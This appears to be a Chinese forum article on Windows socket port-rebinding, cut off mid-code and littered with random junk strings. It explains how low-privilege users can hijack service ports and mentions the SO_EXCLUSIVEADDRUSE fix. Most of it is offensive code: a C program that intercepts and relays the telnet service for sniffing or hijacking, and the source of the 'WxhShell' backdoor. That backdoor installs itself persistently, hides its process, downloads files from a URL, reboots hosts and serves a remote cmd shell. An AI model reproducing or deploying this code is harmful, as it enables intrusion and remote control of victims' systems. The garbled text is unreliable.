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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O7oq1JI]Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UPy 4ST BvS!P8 saddr.sin_family = AF_INET; n_(f"Uv ojyP.R saddr.sin_addr.s_addr = htonl(INADDR_ANY); /r8sL)D+ lNz1|nS(Kd bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5<M$ XT #&b<D2d 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3^iVDbAW{ ^Y%<$IFG 这意味着什么?意味着可以进行如下的攻击: j;I(w [@P [P|kY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |]~], L}7 TM:% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w"O{@2B3:H -jzoGzC3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }USOWsLSt klMpiy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 N2 t` 22*~CIh~x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &dPI<HlM =y >CO:^G% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +6x}yc:yd Tb!FO"o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $Wjx$fD Jl1\*1" #include 6E2#VT>@/ #include [{>3"XJ'
#include T7-yZSw-m #include R?y_tho4A DWORD WINAPI ClientThread(LPVOID lpParam); sm{/S*3 int main() E.*gKfL { 2.^CIJc WORD wVersionRequested; e jR_3K^ DWORD ret; 3.9/mztS WSADATA wsaData; ~~O4!|t BOOL val; f\r"7j SOCKADDR_IN saddr; <m0=bm{j SOCKADDR_IN scaddr; I
Bko"|e@ int err; <9\Lv]ng SOCKET s; 1]Cdfj6@ SOCKET sc; ~'|^|*}~Dj int caddsize; 'V8o["P HANDLE mt; %&0/Ypp= DWORD tid; B%`|W@v wVersionRequested = MAKEWORD( 2, 2 ); H?FiZy*[Y err = WSAStartup( wVersionRequested, &wsaData ); %zo
6A1Q; if ( err != 0 ) { O.Y|},F printf("error!WSAStartup failed!\n"); ;$8ptB . return -1; Sy]W4% } b~B'FD saddr.sin_family = AF_INET; &kn?=NW C,%Dp0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cP4C<UG @$Yk#N;&( saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LK!sk5/ saddr.sin_port = htons(23); ThkCKM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #DARZh U) { `gF`Sgz printf("error!socket failed!\n"); bSn={O"M return -1; g-,lY| a } `t44.=% val = TRUE; epG]$T![ //SO_REUSEADDR选项就是可以实现端口重绑定的 Y]Z& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v;-0^s/P { xA<-'8ST printf("error!setsockopt failed!\n"); LpI4R return -1; ^hr# 1 } gPA8A>U)[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &y7=tEV //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oB>#P-V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /|#2ehE S6\E
I5S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r_FI5f { j?T>S]xOX ret=GetLastError(); |'u BkL0q printf("error!bind failed!\n"); eD3\>Y.z return -1; lxbC 7?O } ^ UhqV"[7k listen(s,2); Wb#<ctM> while(1) >|gXE> { 4E}Q<?UYSt caddsize = sizeof(scaddr); b6H7>x //接受连接请求 LOu9 #w" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +fKV/tSWi if(sc!=INVALID_SOCKET) {?++T 0 { #;lEx'lKN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~|"uuA1/#O if(mt==NULL) H3pZfdh?w { :Ig9n: printf("Thread Creat Failed!\n"); &j/,8 Z* break; !6sR|c"~j } T,Q7 YI } ?)-anoFyVW CloseHandle(mt); [}
d39 } j9w{=( MV closesocket(s); {zc*yV\ WSACleanup(); DHyQ:0q return 0; n{qVF#N_ } tNOOaj9mw DWORD WINAPI ClientThread(LPVOID lpParam) k8SY=HP { %s5(''a. SOCKET ss = (SOCKET)lpParam; [H9<JdUZ SOCKET sc; "(~fl<; unsigned char buf[4096]; nE0I [T( SOCKADDR_IN saddr; |%rRALIY long num; _5p]Arg?}& DWORD val; teLZplC=f DWORD ret; 7TU77 //如果是隐藏端口应用的话,可以在此处加一些判断 %,@e- &> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ;NAKU saddr.sin_family = AF_INET; -]YsiE?r saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); muBl~6_mb2 saddr.sin_port = htons(23); _`laP5~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t: ,lz8Y~ { EiDpy#f} printf("error!socket failed!\n"); '!4\H"t return -1; -- IewW } p]toDy-} val = 100; M:d|M|' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5nmE*( {
?i!d00X ret = GetLastError(); ]D^; Ca return -1; w*(1qUF#% } `d
x.<R#, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eSW}H_3 { i\4d d)p- ret = GetLastError(); :g-vy9vb return -1; b`cH.v } jCg4$),b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |uRYejj#j { mVK^gJ3 printf("error!socket connect failed!\n"); Tv%
Z|%* closesocket(sc); }Py Z{yS closesocket(ss); ,W_".aguX return -1; +<f+kh2L
} u2U+uD@yA while(1) S6_dmTV* { jT-tsQ ., //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 x51xY$M //如果是嗅探内容的话,可以再此处进行内容分析和记录 cz$*6P<9J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k4"O}jQO num = recv(ss,buf,4096,0); !;Ctz'wz if(num>0) H~0B5Hl!F send(sc,buf,num,0); M=EV^Tw-= else if(num==0) Vr T0S break; ,twm)%caU num = recv(sc,buf,4096,0); ),-MrL8c% if(num>0) iTCY $)J send(ss,buf,num,0); /AUX7
m.8 else if(num==0) Dd)L~`k{) break; <sjz_::V8R } i/,IG+4vI closesocket(ss); QKt{XB6Y closesocket(sc); @4]dv> Z return 0 ; zogl2e+ } ^VjF W V?jot<|$ TO]
cZZ< ========================================================== KFM)*Icg\8 (
D@U% 下边附上一个代码,,WXhSHELL <bh!wf6; &^B;1ZMHD ========================================================== GVM)-Dp] __-V_(/b,x #include "stdafx.h" Q\2~^w1V *k;%H'2g{} #include <stdio.h> G"*ch$: #include <string.h> b5^-qc6X #include <windows.h> XhJYs q]]J #include <winsock2.h> 'L
veCi_ #include <winsvc.h> Twk,R. O #include <urlmon.h> "J%dI9tM{ ;2,Q:&`
#pragma comment (lib, "Ws2_32.lib") c7 O$< F #pragma comment (lib, "urlmon.lib") SD1M`PI #]s&[O43 #define MAX_USER 100 // 最大客户端连接数 wv&%09U #define BUF_SOCK 200 // sock buffer 2zbV9Bhq #define KEY_BUFF 255 // 输入 buffer `& ]H`KNa vC-5_pl #define REBOOT 0 // 重启 :qK^71gz #define SHUTDOWN 1 // 关机 7[YulC-pH [^\HP]*Q{ #define DEF_PORT 5000 // 监听端口 !<4 =@ #Dl=K<I #define REG_LEN 16 // 注册表键长度 /jd.<r=_I #define SVC_LEN 80 // NT服务名长度 QlH,-]N$L t ;bU#THM // 从dll定义API @[hD;xO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RH0J#6C/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m4'x>Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]+@I]\S4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7D\:i1~ &u9@FFBT8 // wxhshell配置信息 Jm]P,jaLc struct WSCFG { 7H_*1_%ZQ int ws_port; // 监听端口 _"S1>s)X?j char ws_passstr[REG_LEN]; // 口令 5<h:kZ"S^g int ws_autoins; // 安装标记, 1=yes 0=no V})b.\"F char ws_regname[REG_LEN]; // 注册表键名 u=PYm+q{ char ws_svcname[REG_LEN]; // 服务名 {4HcecT char ws_svcdisp[SVC_LEN]; // 服务显示名 VK^m]??s_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 0yBiio char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "\l#q$1h int ws_downexe; // 下载执行标记, 1=yes 0=no .%x%(olf char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" |)b:@q3k+n char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !ZzDSQ; jLF,R7t }; e>!=)6[* Ae_:Kc6 // default Wxhshell configuration +L|-W9"@3 struct WSCFG wscfg={DEF_PORT, R9)"%SO<y "xuhuanlingzhe", @ACq:+/Qc 1, Ql{:H5 "Wxhshell", ^#)]ICV "Wxhshell", y}GFtRNG "WxhShell Service", M|}V6F_y "Wrsky Windows CmdShell Service", NRDXWscb "Please Input Your Password: ", lkaWwjv_D 1, %v,a3^Qu " http://www.wrsky.com/wxhshell.exe", 4s7&*dJ "Wxhshell.exe" +vO;J }; {P!1VYs5 *8I &|)x // 消息定义模块 Vl%UT@D| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *`~]XM@H char *msg_ws_prompt="\n\r? for help\n\r#>"; ],l\HHQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; "-:-!1;Ji char *msg_ws_ext="\n\rExit."; y4j\y
?
T8 char *msg_ws_end="\n\rQuit.";
G:i>MJbxT char *msg_ws_boot="\n\rReboot..."; *dPG[ } char *msg_ws_poff="\n\rShutdown..."; hK 1 H'~c char *msg_ws_down="\n\rSave to "; L^xh5{ 1}ws@hU char *msg_ws_err="\n\rErr!"; K7=>o*p char *msg_ws_ok="\n\rOK!"; 1Ms_2 LW!>_~g- char ExeFile[MAX_PATH]; QyD(@MFxb int nUser = 0; p&k%d, * HANDLE handles[MAX_USER]; eNu]K,rT int OsIsNt; ^"] ]rZ) ;C,t`( SERVICE_STATUS serviceStatus; 8'#L+$O &N SERVICE_STATUS_HANDLE hServiceStatusHandle; WYd9p; k 3wN{k\ns // 函数声明 t_w2J =2 int Install(void); ;.Y-e
Q, int Uninstall(void); QzVo U | int DownloadFile(char *sURL, SOCKET wsh); g9@H4y6fe= int Boot(int flag); dF$&fo% void HideProc(void); I+W:}}"j int GetOsVer(void); 00/ RBs5 int Wxhshell(SOCKET wsl); -8:/My void TalkWithClient(void *cs); jx14/E+^ int CmdShell(SOCKET sock); PwU<RKAE int StartFromService(void); TlD^EJG int StartWxhshell(LPSTR lpCmdLine);
*R3^:Y& ?D;7ut$~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZC"a#rQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6'Q*SO;1gh 4Q:r83# // 数据结构和表定义 ';xp+,'}\ SERVICE_TABLE_ENTRY DispatchTable[] = 1>L8EImx]V { kQD~v+u{` {wscfg.ws_svcname, NTServiceMain}, @cc}[Uw4B {NULL, NULL} lUd4`r" }; iLQ;`/j zMh`Uqid // 自我安装 y+h/jEbM</ int Install(void) Ffig0K+` { P"+R:O\!g char svExeFile[MAX_PATH]; |k#EYf#Y HKEY key; 8ib e#jlg strcpy(svExeFile,ExeFile); =!u]t&yv .rQcg.8/B // 如果是win9x系统,修改注册表设为自启动 /0b7"Kr if(!OsIsNt) { .>1vN+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w|f@sB>j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); is=x6G*r RegCloseKey(key); NIHcX6Nw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BmaY&? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .E;}.X RegCloseKey(key); 9M-W 1prb return 0; `yh][gqVE~ } GJ:oUi } P| ftEF } a:s$[+'Y else { 'p)DJUwt Z/q'^PB
p // 如果是NT以上系统,安装为系统服务 *Ag3qnY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qe/5'dw if (schSCManager!=0) |h6,.#n { 8 %p+:6kP5 SC_HANDLE schService = CreateService #<G:& ( AoY!f'Z schSCManager, &yI>A1 wscfg.ws_svcname, /Mj|Px% wscfg.ws_svcdisp, fi%lN_Ev? SERVICE_ALL_ACCESS, 92~$Qa\S! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^!$=(jh. SERVICE_AUTO_START, Ym6v 4k!@O SERVICE_ERROR_NORMAL, 7Rd(,eWE@ svExeFile, nI] zRduC NULL, h@J3+u< NULL, Kd\d>&b NULL, /#SH`ZK NULL, &UO/p/a NULL V."cmtf ); x4,[5N"}YK if (schService!=0) )~`UDaj_ { 7>F [7_ CloseServiceHandle(schService); {XV'C@B CloseServiceHandle(schSCManager); 0Qy L}y2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I9xkqj strcat(svExeFile,wscfg.ws_svcname); QB !% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }PM7CZSq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E33WT{H&_' RegCloseKey(key); Tl#2w= return 0; hZWkw{c } ;wTc_i } b1G6'~U - CloseServiceHandle(schSCManager); $GHi9aj_P } oE2VJKs<B } :B\$7+$v lXEnm-_ return 1; \7%wJIeyx } Mb45UG#2 [.w `r>kZI // 自我卸载 ^ >
?C int Uninstall(void) ?{xD{f$ { kq([c r HKEY key; `b%^_@Fb 4,?beA if(!OsIsNt) { keStK8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tu/4 RegDeleteValue(key,wscfg.ws_regname); qEVpkvEq RegCloseKey(key); w,_LC)9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "-j96
KD RegDeleteValue(key,wscfg.ws_regname); =W>a ~e]/ RegCloseKey(key); vsQvJDna~ return 0; yU"#2 *C } if3z Fh } InRcIQT } ]z| 2 else { (f~}5O< Lr(JnS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xMa9o if (schSCManager!=0)
*I}_g4 { P0U&+^W"9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]24]id if (schService!=0) O1+yOef"k { b!teSf if(DeleteService(schService)!=0) { BB ::zBg CloseServiceHandle(schService); 52^,qP'6 CloseServiceHandle(schSCManager); fhNJB0 return 0; mS49l } t2|0no CloseServiceHandle(schService); :bL^S1et } jl>wvY|| CloseServiceHandle(schSCManager); /CbiYm } Y{Lxo])e } _a_T`fE&de w'7J`n:{] return 1; ` .]oH1\ } 5KIhk`S ZS`Kj(D // 从指定url下载文件 Z|)1 ftcC int DownloadFile(char *sURL, SOCKET wsh) fN:FD` { Fq%NY8KNE HRESULT hr; )n[=)"rf char seps[]= "/"; FIu^Qd char *token; ^g"p}zf
L" char *file; Der'45]*^ char myURL[MAX_PATH]; DG&aFmC char myFILE[MAX_PATH]; `DM)tm3&m P^U.VXY} strcpy(myURL,sURL); -8dz`o} token=strtok(myURL,seps); C~.T[Mlu while(token!=NULL) kpNp}b8'] { 73SH[f[g file=token; WMWUP ZsGS token=strtok(NULL,seps); T[c-E*{hR } 2]FRIy
d ~dP\0x0AB GetCurrentDirectory(MAX_PATH,myFILE); fr$6&HDZ9 strcat(myFILE, "\\"); :JZV=@<T strcat(myFILE, file); EB6X
Yr send(wsh,myFILE,strlen(myFILE),0); zJ:%iL@ send(wsh,"...",3,0); <(yAat$H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,dVJAV7v if(hr==S_OK) 5g$>J)Ry return 0; .[3C else ?IoA;GBg return 1; ?{5}3abB` 2iO{*cB } #\ysn|!J, 1+Ik\ // 系统电源模块 U6y`:G;. int Boot(int flag) qZv@ULluc { Ww#!-,*]o HANDLE hToken; cqW(9A|8 TOKEN_PRIVILEGES tkp; Dca,IaT' 6BM$u v4 if(OsIsNt) { fL]jk1.Xv- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4 ?[1JN> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %Y5F@=>& tkp.PrivilegeCount = 1; b*{UO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZvO1=*
J, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7VWy1 if(flag==REBOOT) { T=@Ygjk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6:`[Fi return 0; rR#wbDr5 } ?8U]UM6Tu4 else { U\-.u3/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dy'lM ;@- return 0; 3SPXJa\i } DZEq(>mn } UdA,.C0 else { >B*zzj if(flag==REBOOT) { peOoZdJd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K\s<<dRa return 0; BW`;QF< } + ef>ek else { 9RkNRB)8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b.kV>K"X3 return 0; q(1hY"S"}b } .f>7a;V?} } t=s.w(3t _Vt(Eg_\ return 1; ?U1Nm~'UZ } \b$Y_ h]&~yuI> // win9x进程隐藏模块 vGI)c&C> void HideProc(void) 2k&Voa { +V[;DOlll _u6MSRX[6$ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )a`kL, if ( hKernel != NULL ) *!3qO^b? { U%;E: | pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n1PvZ~^3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }LLQ+ FreeLibrary(hKernel); r>CBp$ } \0 &$n t"e %'dFv return; nY\X!K65 } |)*!&\Ch :2:%
// 获取操作系统版本 %afF%y int GetOsVer(void) 2t>>08T { b5f+q:?{ OSVERSIONINFO winfo; %Q;:nVt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s;]"LD@ GetVersionEx(&winfo); '0&HkM{ D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aOsc_5XDR; return 1; %*IH~/Ld;] else 3Ljj|5.q return 0; 1(%6X*z } ;4Xx5*E Kq+vAp). // 客户端句柄模块 /BhP`a%2Q int Wxhshell(SOCKET wsl) ~SsfkM" { |W&K@g$ SOCKET wsh; f rV_5yK' struct sockaddr_in client; {BJH}vV1) DWORD myID; ![MtJo5 Z1;+a+S=z while(nUser<MAX_USER) s:z { A.r.tf}: int nSize=sizeof(client); uv{*f)j/d wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RK)ikLgp if(wsh==INVALID_SOCKET) return 1; fWDTP|DV f}?pY"yvO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?iHcY, if(handles[nUser]==0) Z uP3/d closesocket(wsh); /1= x8Sb else l}#d^S/ nUser++; \\d8ulu } {e0aH `me WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *GdJ<B$ ma"M? aM return 0; F:.8O ,%u } aghlYcPg >gn@NJ2 N // 关闭 socket c]ga)A( void CloseIt(SOCKET wsh) CL t(_!q { gxC`Ml closesocket(wsh); L%pAEoSG nUser--; ``kesz ExitThread(0); '}F9f? } jDj=a->e^ [:A">eYI // 客户端请求句柄 Us> void TalkWithClient(void *cs) =2}bQW { $ylxl"Y PX?^v8wlqL SOCKET wsh=(SOCKET)cs; q'X#F8v char pwd[SVC_LEN]; +5kQ;D{+ char cmd[KEY_BUFF]; s;tI?kR>% char chr[1]; E!,jTaZz int i,j; f
uH3C~u7< qs9r$o.\l while (nUser < MAX_USER) { Y&i&H=U .wtYostv if(wscfg.ws_passstr) { bF +d_t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c-Qa0Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vgr5j //ZeroMemory(pwd,KEY_BUFF); /5\{(=0 i=0; W,nn,% while(i<SVC_LEN) { 1O90 ]c0 Ka"1gbJ| // 设置超时 KF`mOSP fd_set FdRead; Imo?)dYK struct timeval TimeOut; Jf@Xz7{z FD_ZERO(&FdRead); gf8~Zlq4v FD_SET(wsh,&FdRead); @DAaCF8 TimeOut.tv_sec=8; a]I~.$G
TimeOut.tv_usec=0; 3b<;y% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @,pn/[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hXx:D3h :QMpp}G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hqu?="f= pwd =chr[0]; JS&;7Z$KX if(chr[0]==0xd || chr[0]==0xa) { \F7NuG:m, pwd=0; ;#7:}>}rO break; ZP.~Y;Ch;- } R~#&xfMd. i++; uN$ <7KB" } SFqq(K2u z_Pq5 // 如果是非法用户,关闭 socket <?!%dV{z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hWr}Uui } m khp@^5 Oc/ i' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P0-K/_g send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >i2WYT v=YI%{tx) while(1) { 7t6TB*H d s}E|Q ZeroMemory(cmd,KEY_BUFF); q9(hn_X@/ kg$w<C@#" // 自动支持客户端 telnet标准 #-g2p?+i& j=0; H$xUOqL while(j<KEY_BUFF) { x\5\KGw16 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m=MM cmd[j]=chr[0]; ->@iw!5xu if(chr[0]==0xa || chr[0]==0xd) { &3YXDNm cmd[j]=0; .[vYT.LE break; =o4McV} } ],f%:
?%50 j++; )AAPT7!U } >uYGY{+j[ ->&amPv // 下载文件 }<H0CcG if(strstr(cmd,"http://")) { H`jvT] send(wsh,msg_ws_down,strlen(msg_ws_down),0); k FE<M6a9@ if(DownloadFile(cmd,wsh)) ?"T *{8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cb _nlG! else #lx(F3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OH vV_ } 3x
E^EXV else { UphZRgT!N ~P+;_ switch(cmd[0]) { 4,7W*mr3( Hr=?_Un" // 帮助 {o8K&XU#&t case '?': { 7u[$ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =b#,OXQ break; SHe547X1 } 8|IlJiJ~v // 安装 0|`iop%(n case 'i': { nbSu|sX~r5 if(Install()) e&F=w`F\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); wWB^m@:4 else $WZHkV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~{np G break; QPp>%iE@ } vN`JP`IBx // 卸载 jg=}l1M" case 'r': { *&rV}vVP^ if(Uninstall()) 3b1%^@,ACy send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ip;;@o&D else "l
1z@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \%]!/&>{6 break; !v]~ut !p } tcj3x< // 显示 wxhshell 所在路径 qJ<Ghd`8v case 'p': { %51HJB}C] char svExeFile[MAX_PATH]; ]YwvwmZ strcpy(svExeFile,"\n\r"); >D*%1LH~V strcat(svExeFile,ExeFile); /7yd&6`I send(wsh,svExeFile,strlen(svExeFile),0); M0"}>`1lJ break; Y .\<P*iO } yI_MYL[ // 重启 kaZ_ra;< case 'b': { kDK0L3}nr] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uKd79[1 if(Boot(REBOOT))
NUGiDJ+[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); xX2/uxi8 else { #=aT Sw X closesocket(wsh); R(<_p"9( ExitThread(0); I8{ohFFo }
tf?"AY4 break; h&:6S } BMovl4*5 // 关机 E sx`UG| case 'd': { F)hUT@ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H0Ck%5 if(Boot(SHUTDOWN)) Kma-W{vGD send(wsh,msg_ws_err,strlen(msg_ws_err),0); t
gHXIr}3 else { n3JSEu;J closesocket(wsh); {
^
@c96& ExitThread(0); O(YvE } W3-g]#\? break; u13v@<HGc } k|[86<&[ // 获取shell f&L8<ASFo case 's': { @rt}z+JF CmdShell(wsh); @sLB
_f closesocket(wsh); 3[}w#n1 ExitThread(0); &(,-:"{pNR break; p)w{}@%r } 8PwPI%Pb // 退出 <<[\
Rv case 'x': { BF+i82$zo send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C#D8
E.W CloseIt(wsh); NM&R\GI break; e?
n8S } t[Ywp!y[ // 离开 - {| case 'q': { (G`O[JF send(wsh,msg_ws_end,strlen(msg_ws_end),0); X UcM~U- closesocket(wsh); Jw)-6WJ!uO WSACleanup(); bx=9XZ9g exit(1); V}+Ui]ie|I break; ]sG^a7Z.X } 7=[/J*-m } |FH|l#bu> } }ec3qZ@ k9 NPC" // 提示信息 |;MW98 A if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <)ltvo( } Q<d|OX } MgUjB~)Y njg\y return; @86?!0bt } XD$;K$_7 YB3?Ftgw // shell模块句柄 31=vUS
int CmdShell(SOCKET sock) N(=\S: { N4[^!}4 STARTUPINFO si; fs6% M]u ZeroMemory(&si,sizeof(si)); o`<ps$yT si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1@{qPmf^ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;Br
#e1~ PROCESS_INFORMATION ProcessInfo; Q]<6i
char cmdline[]="cmd"; /aX5G CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !J-oGs\ u return 0; QTT2P(Pz } &n-)Alx 0>)F+QC // 自身启动模式 @]xHt&j int StartFromService(void) *#g[
jl4 { c&;Xjy typedef struct g]Fm%iy { v"J7VF2 DWORD ExitStatus; `=JGlN7 DWORD PebBaseAddress; ]0@
06G(y DWORD AffinityMask; D|R aj\R DWORD BasePriority; >{@:p`* ULONG UniqueProcessId; *e}1KcJ ULONG InheritedFromUniqueProcessId; Gn}^BJN } PROCESS_BASIC_INFORMATION; PWbi`qF)r _5&LV2 PROCNTQSIP NtQueryInformationProcess; 9G=HG={ f5dctDHP static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F
